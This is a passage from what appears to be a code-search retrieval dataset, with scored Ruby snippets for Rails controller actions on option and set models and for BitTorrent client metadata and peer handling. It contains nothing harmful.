"text": "def index\n @answer_sets = AnswerSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answer_sets }\n end\n end",
"title": ""
},
{
"docid": "4674fa91100ffe6a54600e194939940d",
"score": "0.57998616",
"text": "def list_sets(opts={})\n do_resumable(OAI::ListSetsResponse, 'ListSets', opts)\n end",
"title": ""
},
{
"docid": "e5a45cb46b2091f4b95b95b0c8514e56",
"score": "0.5782063",
"text": "def show\n @answer_option = AnswerOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer_option }\n end\n end",
"title": ""
},
{
"docid": "19696a2a879cfc198da88da9a578e48f",
"score": "0.57796067",
"text": "def index\n @myoptions = Myoption.all\n end",
"title": ""
},
{
"docid": "980333b4daacb533765a44d86eb28515",
"score": "0.5765169",
"text": "def index\n @item_sets = ItemSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @item_sets }\n end\n end",
"title": ""
},
{
"docid": "72a216aae98c5612de71394e9e0478be",
"score": "0.5759033",
"text": "def show\n\t\tif params[:id] == 'options'\n\t\t\t# return json formatted list of options\n\t if params[:callback] == ''\n\t\t\t\trender 'show.json.erb'\n\t\t\telse\n\t\t\t\ts = '{\"readers\": [\"adiwgJson\"], \"writers\": [\"iso19115_2\"], \"formats\": [\"auto\",\"plain\",\"json\",\"xml\"]}'\n\t\t\t\trender json: s, callback: params[:callback]\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a3541b26ad41989b4df6080dbe36f0d5",
"score": "0.57577217",
"text": "def options\n data = {\n brands: Brand.order(name: :asc).as_api_response(:options),\n colors: Color.order(name: :asc).as_api_response(:options),\n categories: Category.order(name: :asc).as_api_response(:options)\n }\n\n render_success(data: data)\n end",
"title": ""
},
{
"docid": "1f59b98036177e5d828e008daf5e6315",
"score": "0.5757045",
"text": "def index\n @opts = Opt.all\n end",
"title": ""
},
{
"docid": "708c60063963b2e744ab0dec04846927",
"score": "0.57323307",
"text": "def show\n @answer_set = AnswerSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer_set }\n end\n end",
"title": ""
},
{
"docid": "d72bf4a9777b1f92662288dcd8409ecc",
"score": "0.57273006",
"text": "def index\n @config_sets = ConfigSet.all\n end",
"title": ""
},
{
"docid": "8c495c2d724d61c327e3c5550c965ecc",
"score": "0.5726831",
"text": "def get(set_name)\n url = @uri + \"#{set_name}?api-version=#{api_version}\"\n url\n end",
"title": ""
},
{
"docid": "61490aca9702fd21892c8b1e2f95e09c",
"score": "0.57161283",
"text": "def show\n @resourceset = Resourceset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resourceset }\n end\n end",
"title": ""
},
{
"docid": "31eec0adebd76f4757007a08b4ae02f5",
"score": "0.5689395",
"text": "def options\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: '' }\n end\n end",
"title": ""
},
{
"docid": "562d43890c620aea00f37ed6c969a333",
"score": "0.56562406",
"text": "def show\n @game_set = GameSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @game_set }\n end\n end",
"title": ""
},
{
"docid": "3f825df7d47ba21042c30dfb57063e55",
"score": "0.5644898",
"text": "def show\n @can_option = CanOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @can_option }\n end\n end",
"title": ""
},
{
"docid": "d32c07f65f5f74072d00646f07938f47",
"score": "0.5640674",
"text": "def build_static_sets\n sets = []\n if @options[:sets]\n @options[:sets].each_pair do |k,v|\n set_spec = v[:set_spec] if v.has_key? :set_spec\n set_name = v[:set_name] if v.has_key? :set_name\n set_description = v[:set_description] if v.has_key? :set_description\n unless set_spec.nil? \n sets << OAI::Set.new(spec: set_spec, name: set_name, description: set_description)\n end\n end\n end \n sets \n end",
"title": ""
},
{
"docid": "a73eb64c17e2167f92ecc122d5addab8",
"score": "0.56300366",
"text": "def id(id, format: \"json\", pretty: false)\n req = Request.new(\n params: {format: format, pretty: pretty},\n headers: nil,\n body: nil)\n\n Scryfall::Set.new JSON.parse(connection.get(\"/sets/#{id}\", req).body)\n end",
"title": ""
},
{
"docid": "cf981dc0df780137613b1500ba03f8fd",
"score": "0.5629538",
"text": "def show\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionset }\n end\n end",
"title": ""
},
{
"docid": "790e1234a2640b36462f0b9b686c9830",
"score": "0.56266487",
"text": "def index\n @question = Question.find(params[:question_id])\n @options = @question.options\n end",
"title": ""
},
{
"docid": "d9e13bec6045e0c0a716aa95593013d4",
"score": "0.562382",
"text": "def show\n @line_item_option = LineItemOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item_option }\n end\n end",
"title": ""
},
{
"docid": "d9ef64e7b77279f6f2d625fe65260f7f",
"score": "0.5620134",
"text": "def new\n @option = @asset.options.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @option }\n end\n end",
"title": ""
},
{
"docid": "f96dcc0fb2fc1c36f3a425ea41ec0a6f",
"score": "0.56102467",
"text": "def new\n @option = Option.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @option }\n end\n end",
"title": ""
},
{
"docid": "4cf967fff42848b6c5265a7c71bf2838",
"score": "0.56081617",
"text": "def show\n @programset = Programset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @programset }\n end\n end",
"title": ""
},
{
"docid": "660bf25aa58a4e1eb754a8ad7a7f219b",
"score": "0.5599605",
"text": "def new\n @option_value = @option.option_values.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @option_value }\n end\n end",
"title": ""
},
{
"docid": "501804731bc219ede64923d3a100f4bf",
"score": "0.55808085",
"text": "def show\n @library_set = LibrarySet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @library_set }\n end\n end",
"title": ""
},
{
"docid": "55c89d3da6c3fe7cdeea614c97ce96c5",
"score": "0.55805504",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "55c89d3da6c3fe7cdeea614c97ce96c5",
"score": "0.55805504",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "55c89d3da6c3fe7cdeea614c97ce96c5",
"score": "0.55805504",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "55c89d3da6c3fe7cdeea614c97ce96c5",
"score": "0.55805504",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "55c89d3da6c3fe7cdeea614c97ce96c5",
"score": "0.55805504",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "c406f5504de0babbedbc389cd939e55b",
"score": "0.55789375",
"text": "def index\n @armor_sets = ArmorSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @armor_sets }\n end\n end",
"title": ""
},
{
"docid": "9454c5923093d98f9e40af1da3f441f8",
"score": "0.55756825",
"text": "def get_option\n end",
"title": ""
},
{
"docid": "75f25129aa8441a812bba55a01fcb802",
"score": "0.55733466",
"text": "def index\n @selection_fieldsets = SelectionFieldset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @selection_fieldsets }\n end\n end",
"title": ""
},
{
"docid": "e116b3c649fc51f286dc144efb419288",
"score": "0.55675983",
"text": "def show\n\t\trender json: @setting\n\tend",
"title": ""
},
{
"docid": "e1cf0c63b2d6ba1b8e067c16a7b1b791",
"score": "0.5563289",
"text": "def index\n @option_groups = OptionGroup.all\n end",
"title": ""
},
{
"docid": "d97d26ea06de8270b1d67edb0bb44c59",
"score": "0.55631846",
"text": "def setlist\n setlist_json = []\n total_sets = Show.find(params[\"id\"]).total_sets\n Show.find(params[\"id\"]).setlists.each do |setlist|\n song = Song.find(setlist.song_id)\n setlist_json << {\"set_id\" => setlist.set_id, \"song_order\" => setlist.song_order, \"song_name\" => song.song_name, \"segue\" => setlist.song_suffix, \"total_sets\" => total_sets}\n end\n render :json => setlist_json.to_json, :layout => false\n end",
"title": ""
},
{
"docid": "66f58f5c7e7ea4ff5236df99117ae068",
"score": "0.5562415",
"text": "def show\n @question_set1 = QuestionSet1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_set1 }\n end\n end",
"title": ""
},
{
"docid": "357482ece7718dc4662ebcaf2b03affb",
"score": "0.5562215",
"text": "def list_sets(options = {})\n Response::ListSets.new(provider_context, options).to_xml\n end",
"title": ""
},
{
"docid": "f764bed6c7450982f1be1ec917880c1c",
"score": "0.5560816",
"text": "def select_options\n marital_status=MaritalStatus.all.select(:id,:name)\n relationship=Relationship.all.select(:id,:name)\n education=Education.all.select(:id,:name)\n region=Region.all.select(:id,:name,:continent).order(\"id\")\n diet=Diet.all.select(:id,:name)\n nakshatra=Nakshatra.all.select(:id,:name)\n value=Value.all.select(:id,:name)\n income=Income.all.select(:id,:name)\n occupation=Occupation.all.select(:id,:name,:title)\n education_concentration=EducationConcentration.all.select(:id,:name)\n community=Community.all.select(:id,:name)\n country= CountryByRegion.all.map{|x|{id:x.id,name:x.country}}\n admins=User.get_admin()\n render:json=>{data:{countryOption:country,nakshatraOption:nakshatra,\n regionOption:region,occupationOption:occupation,\n incomeOption:income,educationConcentrationOption:education_concentration,\n maritalOption:marital_status,relationOption:relationship,\n educationOption:education,valueOption:value,\n admins:admins,communityOption:community,\n dietOption:diet}}\n \n end",
"title": ""
},
{
"docid": "d842618058479eede110c15534e879cb",
"score": "0.5551683",
"text": "def create\n @option_set = OptionSet.new(option_set_params)\n authorize @option_set\n respond_to do |format|\n if @option_set.save\n flash[:success] = t('flashes.create', model: OptionSet.model_name.human)\n format.html { redirect_to @option_set}\n format.json { render :show, status: :created, location: @option_set }\n protocol_action(\"создание опций #{@option_set.name}\")\n else\n format.html { render :new }\n format.json { render json: @option_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "19c9fd69505cd0e01ea1f3a82854ef3b",
"score": "0.5540586",
"text": "def show\n @license_set = LicenseSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @license_set }\n end\n end",
"title": ""
},
{
"docid": "97d9da07b3276e5e5b390266003660bb",
"score": "0.5523292",
"text": "def show\n @condition_set = ConditionSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @condition_set }\n end\n end",
"title": ""
},
{
"docid": "a823e1454381808b8e39d180ead2edb1",
"score": "0.5516776",
"text": "def show\n render json: @set_rule\n end",
"title": ""
},
{
"docid": "03fc75c70c3ee9fe89975b2c1d188b25",
"score": "0.5504788",
"text": "def new\n @standard_poll_option_set = StandardPollOptionSet.new\n 4.times { @standard_poll_option_set.standard_poll_options.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @standard_poll_option_set }\n end\n end",
"title": ""
},
{
"docid": "b0811f9f2a81cc750e98be612f643391",
"score": "0.5499425",
"text": "def show\r\n @value_set = ValueSet.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @value_set }\r\n end\r\n end",
"title": ""
},
{
"docid": "c0936c3b6aa6f3250c4c4c3bd1bd75fe",
"score": "0.5498022",
"text": "def list_sets\n log_message( \"Listing sets...\" ) unless @logging == false\n set_list = @connection.get( \"set\" )\n return set_list\n end",
"title": ""
},
{
"docid": "04fbf87ec27aa5b743b14c0989b6c088",
"score": "0.5495496",
"text": "def index\n @question_set1s = QuestionSet1.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_set1s }\n end\n end",
"title": ""
},
{
"docid": "672e2c3fba2137513ff6a429160bb06a",
"score": "0.54929686",
"text": "def get options = {}\n return [] unless the_item = get_item( options )\n the_item.get options\n end",
"title": ""
},
{
"docid": "5df92b0c9fe7deed5da3e61bb5c0e2a3",
"score": "0.5485663",
"text": "def show\n @state_option = StateOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @state_option }\n end\n end",
"title": ""
},
{
"docid": "a2e093e45cb612ebaabcbf5166c7c83b",
"score": "0.54843503",
"text": "def index\n @asset_type_options = AssetTypeOption.all\n end",
"title": ""
},
{
"docid": "c2ab08af2986192bed8d503f2d5e2f18",
"score": "0.5479825",
"text": "def index\n @options = Option.all\n authorize @options\n end",
"title": ""
},
{
"docid": "5afb6a7a7792ab43e5b03942fdbb1613",
"score": "0.5475486",
"text": "def new_generic_set\n @sets = Mtg::Set.includes(:cards).where(:active => true).where(\"mtg_cards.name LIKE ?\", \"#{params[:name]}\").order(\"release_date DESC\").to_a\n respond_to do |format|\n format.json { render :json => @sets.collect(&:name).zip(@sets.collect(&:code)).to_json }\n end\n end",
"title": ""
},
{
"docid": "9cdb45ba90b9f70a7a5a8d114f92bb07",
"score": "0.54752254",
"text": "def show\n @provider_specialty_option = ProviderSpecialtyOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provider_specialty_option }\n end\n end",
"title": ""
},
{
"docid": "421a5be190ba9f6104aee0aa83d6748a",
"score": "0.5469747",
"text": "def fetch_option(key); end",
"title": ""
},
{
"docid": "421a5be190ba9f6104aee0aa83d6748a",
"score": "0.5469747",
"text": "def fetch_option(key); end",
"title": ""
},
{
"docid": "2733b6bc9960f280ede3ee0161135406",
"score": "0.54671305",
"text": "def show\n @item_set = ItemSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_set }\n end\n end",
"title": ""
},
{
"docid": "190d83291d7356c928780e192662f47c",
"score": "0.5466556",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "190d83291d7356c928780e192662f47c",
"score": "0.5466556",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "190d83291d7356c928780e192662f47c",
"score": "0.5466556",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "190d83291d7356c928780e192662f47c",
"score": "0.5466556",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "190d83291d7356c928780e192662f47c",
"score": "0.5466556",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "190d83291d7356c928780e192662f47c",
"score": "0.5466556",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "190d83291d7356c928780e192662f47c",
"score": "0.5466556",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "190d83291d7356c928780e192662f47c",
"score": "0.5466556",
"text": "def set_option\n @option = Option.find(params[:id])\n end",
"title": ""
},
{
"docid": "cc1b236b16151c923361ced6104b1168",
"score": "0.5461703",
"text": "def index\n @adventure_options = AdventureOption.all\n end",
"title": ""
}
] |
30ec1e60fb865f7c955936e818f48743
|
Get a hash of new TorrentDataDelegate objects keyed by torrent infohash. This is the method to call to get information about the state of torrents being downloaded.
|
[
{
"docid": "3c4588db3e1dbd69a181067fde200866",
"score": "0.64672697",
"text": "def torrentData(infoHash = nil)\n # This will have to work by putting an event in the handler's queue, and blocking for a response.\n # The handler will build a response and return it.\n @handler.getDelegateTorrentData(infoHash)\n end",
"title": ""
}
] |
[
{
"docid": "a6a3de33c1bfd0ef4dc2e39fcde2b052",
"score": "0.6440302",
"text": "def getDelegateTorrentData(infoHash = nil)\n # Use an immediate, non-recurring timer.\n result = {}\n return result if stopped?\n semaphore = Semaphore.new\n timer = @reactor.scheduleTimer(0, [:get_torrent_data, result, semaphore, infoHash], false, true)\n if semaphore.wait(3)\n result\n else\n @logger.warn \"getDelegateTorrentData: Waiting on semaphore timed out\"\n throw \"Waiting on semaphore for timer #{timer.object_id} timed out\"\n end\n end",
"title": ""
},
{
"docid": "cc2097f4617de53463cb4e09e2ece635",
"score": "0.6164336",
"text": "def torrent_info(infohash)\n info = Peer.find_by_sql([\"SELECT (SELECT COUNT(*) FROM 'peers' WHERE `left` != 0 AND `torrent_infohash` = ?) as `incomplete`, (SELECT COUNT(*) FROM 'peers' WHERE `left` == 0 AND `torrent_infohash` = ?) as `complete`\",infohash, infohash])[0]\n \n {\n 'complete' => info.complete,\n 'incomplete' => info.incomplete\n }\n end",
"title": ""
},
{
"docid": "f6d9bc9bb7108b3087c36761273d0d74",
"score": "0.6107579",
"text": "def hash\n [dns, download, first_byte, handshake, redirect, ssl, tcp, total, wait].hash\n end",
"title": ""
},
{
"docid": "b5b744bc82607c0fb45eaf1258730439",
"score": "0.5764245",
"text": "def torrent_by_infohash(infohash)\n torrent = Torrent.find_by_infohash(infohash)\n return false if torrent.nil?\n \n {\n 'metadata' => torrent.metadata,\n 'infohash' => torrent.infohash,\n 'path' => torrent.path,\n 'timestamp'=> torrent.timestamp\n }\n end",
"title": ""
},
{
"docid": "24b58942d847c59e664f03b154e24f4c",
"score": "0.5494499",
"text": "def extract_torrent(unparsed_data)\n hsh = Hash.new\n\n hsh[:name] = unparsed_data.css('td')[1].text\n\n tmp_td1 = unparsed_data.css('td')[1].css('a').attr('href').to_s\n hsh[:url] = assigned_site.address(tmp_td1)\n\n tmp_td2 = unparsed_data.css('td')[2].css('li')\n hsh[:magnet_url] = tmp_td2[0].css('a').attr('href')\n if tmp_td2[1]\n tmp = tmp_td2[1].css('a').attr('href').to_s\n hsh[:download_url] = assigned_site.address(tmp)\n end\n\n hsh[:size] = unparsed_data.css('td')[3].text\n\n tmp_td5 = unparsed_data.css('td')[5]\n .css('div[@class=\"progress prog trans90\"]')\n .css('div')\n if tmp_td5[1]\n hsh[:seeders] = tmp_td5[1].text.to_i\n hsh[:leeches] = tmp_td5[2].text.to_i\n end\n\n hsh[:tracker] = assigned_site.name\n\n Torrent.new hsh\n end",
"title": ""
},
{
"docid": "730ae434aeee08a40ac18dd56a352dd3",
"score": "0.54657304",
"text": "def hash\n state.hash\n end",
"title": ""
},
{
"docid": "9945d0e949b7ee402471185275397438",
"score": "0.5410953",
"text": "def hash\n super +\n @active.hash +\n @direction.hash +\n @disk.hash +\n @host.hash +\n @image.hash +\n @inactivity_timeout.hash +\n @phase.hash +\n @proxy_url.hash +\n @signed_ticket.hash +\n @snapshot.hash +\n @transfer_url.hash +\n @transferred.hash\n end",
"title": ""
},
{
"docid": "f9bd0ccb910d9e91ee5cb52d7b4db476",
"score": "0.53871334",
"text": "def extract_torrent(unparsed_data)\n hsh = Hash.new\n\n hsh[:name] = unparsed_data.css('a[@class=\"genmed2 tLink\"]').text\n hsh[:author] = unparsed_data.css('td[@class=row1]')[2].text\n hsh[:size] = unparsed_data.css('a[@class=\"small tr-dl\"]').text\n hsh[:added_date] = unparsed_data.css('td[@class=\"row4 small nowrap\"]').css('p').text\n hsh[:seeders] = unparsed_data.css('td[@class=\"row4 seedmed bold\"]').text.to_i\n hsh[:leeches] = unparsed_data.css('td[@class=\"row4 leechmed\"]').text.to_i\n\n url = unparsed_data.css('a[@class=\"genmed2 tLink\"]').attr('href').to_s\n hsh[:url] = assigned_site.address(url)\n\n url = unparsed_data.css('a[@class=\"small tr-dl\"]').attr('href').to_s\n hsh[:download_url] = assigned_site.address(url)\n\n hsh[:tracker] = assigned_site.name\n\n Torrent.new hsh\n end",
"title": ""
},
{
"docid": "0f0b99231f6846ba98167fca79514a1f",
"score": "0.534629",
"text": "def extract_torrent(unparsed_data)\n hsh = Hash.new\n\n hsh[:short_link] = unparsed_data.css('a[@class=\"downgif\"]').attribute('href').to_s\n hsh[:magnet_url] = unparsed_data.css('a')[1].attribute('href').to_s\n hsh[:url] = unparsed_data.css('a')[2].attribute('href').to_s\n hsh[:name] = unparsed_data.css('a')[2].text\n hsh[:added_date] = unparsed_data.css('td')[0].text\n hsh[:seeders] = unparsed_data.css('td[@align=\"center\"]').css('span')[0].text\n hsh[:leeches] = unparsed_data.css('td[@align=\"center\"]').css('span')[1].text\n\n if (tmp_size = unparsed_data.css('td[@align=\"right\"]')[1])\n hsh[:size] = tmp_size.text\n end\n\n hsh[:tracker] = assigned_site.name\n hsh[:download_url] = assigned_site.address(hsh[:short_link])\n hsh[:url] = assigned_site.address(hsh[:url] )\n\n Torrent.new hsh\n end",
"title": ""
},
{
"docid": "5cf71224319442dac8bc8dda1bdd0355",
"score": "0.5337282",
"text": "def delegate_hash; end",
"title": ""
},
{
"docid": "5cf71224319442dac8bc8dda1bdd0355",
"score": "0.5337282",
"text": "def delegate_hash; end",
"title": ""
},
{
"docid": "dd7af50bc7a72ed24c8bcdb6a8f77424",
"score": "0.5300706",
"text": "def info\n Hash[*call(ft_info)]\n end",
"title": ""
},
{
"docid": "0d125fc3a9677b49ba4e795811acf1fd",
"score": "0.526805",
"text": "def get_info; Hash.new; end",
"title": ""
},
{
"docid": "0c697239648effea317bc4994d13df37",
"score": "0.52598035",
"text": "def get_hash\n @cookie_info\n end",
"title": ""
},
{
"docid": "d54a3572d37b5ec00acf8751667e50f7",
"score": "0.525393",
"text": "def hash\n @data.hash\n end",
"title": ""
},
{
"docid": "d54a3572d37b5ec00acf8751667e50f7",
"score": "0.525393",
"text": "def hash\n @data.hash\n end",
"title": ""
},
{
"docid": "a40916a6832c705d8cec663fc72048d4",
"score": "0.52537173",
"text": "def hash_for_delegation; end",
"title": ""
},
{
"docid": "43b0bbf74f6c526fca47e5c34bd71d2d",
"score": "0.5250681",
"text": "def get_hash\n @hash\n end",
"title": ""
},
{
"docid": "bd6b1fe9c3fdece04dd2b51176cf7620",
"score": "0.522775",
"text": "def __hash()\n @hash\n end",
"title": ""
},
{
"docid": "fc7c5e4c1c6339f61bb647dd171c5726",
"score": "0.52222073",
"text": "def initialize(baseDirectory, infoHash, metainfoSize = nil, info = nil)\n \n @logger = LogManager.getLogger(\"metainfo_piece_state\")\n\n @requestTimeout = 5\n @baseDirectory = baseDirectory\n @infoFileName = MetainfoPieceState.generateInfoFileName(infoHash)\n\n path = infoFilePath\n\n completed = MetainfoPieceState.downloaded(baseDirectory, infoHash)\n metainfoSize = File.size(path) if ! metainfoSize && completed\n\n if !completed && info \n File.open(path, \"wb\") do |file|\n bencoded = info.bencode\n metainfoSize = bencoded.length\n file.write bencoded\n # Sanity check\n testInfoHash = Digest::SHA1.digest( bencoded )\n raise \"The computed infoHash #{QuartzTorrent.bytesToHex(testInfoHash)} doesn't match the original infoHash #{QuartzTorrent.bytesToHex(infoHash)}\" if testInfoHash != infoHash\n end\n end\n\n raise \"Unless the metainfo has already been successfully downloaded or the torrent file is available, the metainfoSize is needed\" if ! metainfoSize\n\n # We use the PieceManager to manage the pieces of the metainfo file. The PieceManager is designed\n # for the pieces and blocks of actual torrent data, so we need to build a fake metainfo object that\n # describes our one metainfo file itself so that we can store the pieces if it on disk.\n # In this case we map metainfo pieces to 'torrent' pieces, and our blocks are the full length of the \n # metainfo piece.\n torrinfo = Metainfo::Info.new\n torrinfo.pieceLen = BlockSize\n torrinfo.files = []\n torrinfo.files.push Metainfo::FileInfo.new(metainfoSize, @infoFileName)\n \n\n @pieceManager = PieceManager.new(baseDirectory, torrinfo)\n @pieceManagerRequests = {}\n\n @numPieces = metainfoSize/BlockSize\n @numPieces += 1 if (metainfoSize%BlockSize) != 0\n @completePieces = Bitfield.new(@numPieces)\n @completePieces.setAll if info || completed\n\n @lastPieceLength = metainfoSize - (@numPieces-1)*BlockSize\n \n @badPeers = PeerHolder.new\n @requestedPieces = Bitfield.new(@numPieces)\n @requestedPieces.clearAll\n\n @metainfoLength = metainfoSize\n\n # Time at which the piece in requestedPiece was requested. Used for timeouts.\n @pieceRequestTime = []\n end",
"title": ""
},
{
"docid": "0dd78a4b29f9e983ee9b3a6be36bf5e9",
"score": "0.5204916",
"text": "def getPeersFromTracker(torrentData, infoHash)\n addPeer = Proc.new do |trackerPeer|\n peer = Peer.new(trackerPeer)\n peer.infoHash = infoHash\n torrentData.peers.add peer\n true\n end\n\n classifiedPeers = nil\n replaceDisconnectedPeer = Proc.new do |trackerPeer|\n classifiedPeers = ClassifiedPeers.new(torrentData.peers.all) if ! classifiedPeers\n \n if classifiedPeers.disconnectedPeers.size > 0\n torrentData.peers.delete classifiedPeers.disconnectedPeers.pop\n addPeer.call trackerPeer\n true\n else\n false\n end\n end\n\n trackerclient = torrentData.trackerClient \n \n addProc = addPeer\n flipped = false\n trackerclient.peers.each do |p|\n if ! flipped && torrentData.peers.size >= @maxPeerCount\n addProc = replaceDisconnectedPeer\n flipped = true\n end\n \n # Don't treat ourself as a peer.\n next if p.id && p.id == trackerclient.peerId\n \n if ! torrentData.peers.findByAddr(p.ip, p.port)\n @logger.debug \"#{QuartzTorrent.bytesToHex(torrentData.infoHash)}: Adding tracker peer #{p} to peers list\"\n break if ! addProc.call(p)\n end\n end\n end",
"title": ""
},
{
"docid": "23273a35965829d9694a31248e38cdb3",
"score": "0.52020866",
"text": "def get_state_metadata\n uri_meta = URI(@url_meta)\n response_meta = Net::HTTP.get(uri_meta)\n data_meta = JSON.parse(response_meta)\n data_meta.each do |state|\n Covidtracker::Metadata.new(state)\n end\n end",
"title": ""
},
{
"docid": "17a858516abe042b032473822b816e9b",
"score": "0.51969117",
"text": "def hash\n @hash\n end",
"title": ""
},
{
"docid": "17a858516abe042b032473822b816e9b",
"score": "0.51969117",
"text": "def hash\n @hash\n end",
"title": ""
},
{
"docid": "53264c0fccf52fc04aaea0f34856a6bf",
"score": "0.5191529",
"text": "def hash(index)\n RemoteNode.rpc 'getblockhash', index\n end",
"title": ""
},
{
"docid": "80d4e9c81caac99fbd1039ec6ab7aa49",
"score": "0.5153754",
"text": "def handle_info\n blocks = @node.connections.map(&:version).compact.map(&:last_block) rescue nil\n established = @node.connections.select {|c| c.state == :connected }\n info = {\n blocks: {\n depth: @node.store.get_depth,\n peers: (blocks.inject{|a,b| a+=b; a } / blocks.size rescue '?' ),\n sync: @node.store.in_sync?,\n },\n addrs: {\n alive: @node.addrs.select{|a| a.alive?}.size,\n total: @node.addrs.size,\n },\n connections: {\n established: established.size,\n outgoing: established.select(&:outgoing?).size,\n incoming: established.select(&:incoming?).size,\n connecting: @node.connections.size - established.size,\n },\n queue: @node.queue.size,\n inv_queue: @node.inv_queue.size,\n inv_cache: @node.inv_cache.size,\n network: @node.config[:network],\n storage: @node.config[:storage],\n version: Bitcoin.network[:protocol_version],\n external_ip: @node.external_ip,\n uptime: @node.uptime,\n }\n Bitcoin.namecoin? ? {names: @node.store.db[:names].count}.merge(info) : info\n end",
"title": ""
},
{
"docid": "3ba79f62e0301a2f78fe8ebde91155fe",
"score": "0.514706",
"text": "def hash\n super +\n @bytes_read.hash +\n @bytes_written.hash +\n @client_port.hash +\n @host_name.hash\n end",
"title": ""
},
{
"docid": "c4ba8898c92de560f9b0468fd2e5be30",
"score": "0.5103255",
"text": "def get_node_lookup_hash\n @queries += 1\n results = @client.query \"SELECT abc_persid, abc_lasthash FROM #{@config['streamer_table']}\"\n hash_tbl = {}\n results.each{ |res| hash_tbl[res['abc_persid']] = res['abc_lasthash'] }\n hash_tbl\n end",
"title": ""
},
{
"docid": "cffd4a03690ca03a300cb0cdeb3f776e",
"score": "0.5097303",
"text": "def hash\n\t\tself.finalize\n\t\treturn @hash\n\tend",
"title": ""
},
{
"docid": "c31c75a325663250fca13f6f7c526ab4",
"score": "0.50965095",
"text": "def hash\n [data, type].hash\n end",
"title": ""
},
{
"docid": "45beb68ff83845555f2dc1553436a37f",
"score": "0.5094604",
"text": "def initialize_info_hashes\n self.info ||= Hash.new\n self.auth_info ||= Hash.new\n self.credentials ||= Hash.new\n end",
"title": ""
},
{
"docid": "61f0c2be71af2a9de5adc9a4b535dbe3",
"score": "0.5077587",
"text": "def digest_hash\n @digest_hash ||= {\n class: worker.class.to_s,\n unique_args: unique_args\n }\n end",
"title": ""
},
{
"docid": "23edff8129ce7ba3b28173aea796ebed",
"score": "0.50753665",
"text": "def hash\n [tv, batb, spb, bdatl, trd, spf, ltp, atb, spl, spn, atl, batl, id, hc, bdatb].hash\n end",
"title": ""
},
{
"docid": "56457a9cfd0545876ca947e5c04b5fe4",
"score": "0.50736624",
"text": "def checksums\n return @checksums ||= {}\n end",
"title": ""
},
{
"docid": "0cd1497190ec83ca570bb7cbced71f5b",
"score": "0.5060805",
"text": "def hash\n [check, check_time, check_version, probe_dc, result, result_id, status].hash\n end",
"title": ""
},
{
"docid": "c2f3f75728ed446d45a1d29971102b68",
"score": "0.50566083",
"text": "def initTorrent(torrentData)\n # If we already have the metainfo info for this torrent, we can begin checking the pieces. \n # If we don't have the metainfo info then we need to get the metainfo first.\n if ! torrentData.info\n torrentData.info = MetainfoPieceState.downloaded(@baseDirectory, torrentData.infoHash)\n end\n\n if torrentData.info\n startCheckingPieces torrentData\n else\n # Request the metainfo from peers.\n torrentData.state = :downloading_metainfo\n\n @logger.info \"#{QuartzTorrent.bytesToHex(torrentData.infoHash)}: Downloading metainfo\"\n\n # Schedule peer connection management. Recurring and immediate \n torrentData.managePeersTimer = \n @reactor.scheduleTimer(@managePeersPeriod, [:manage_peers, torrentData.infoHash], true, true)\n\n # Schedule a timer for requesting metadata pieces from peers.\n torrentData.metainfoRequestTimer = \n @reactor.scheduleTimer(@requestBlocksPeriod, [:request_metadata_pieces, torrentData.infoHash], true, false)\n\n # Schedule checking for metainfo PieceManager results (including when piece reading completes)\n torrentData.checkMetadataPieceManagerTimer =\n @reactor.scheduleTimer(@requestBlocksPeriod, [:check_metadata_piece_manager, torrentData.infoHash], true, false)\n end\n end",
"title": ""
},
{
"docid": "afa07ec61322952a3eccc7bef78e2fa9",
"score": "0.5049619",
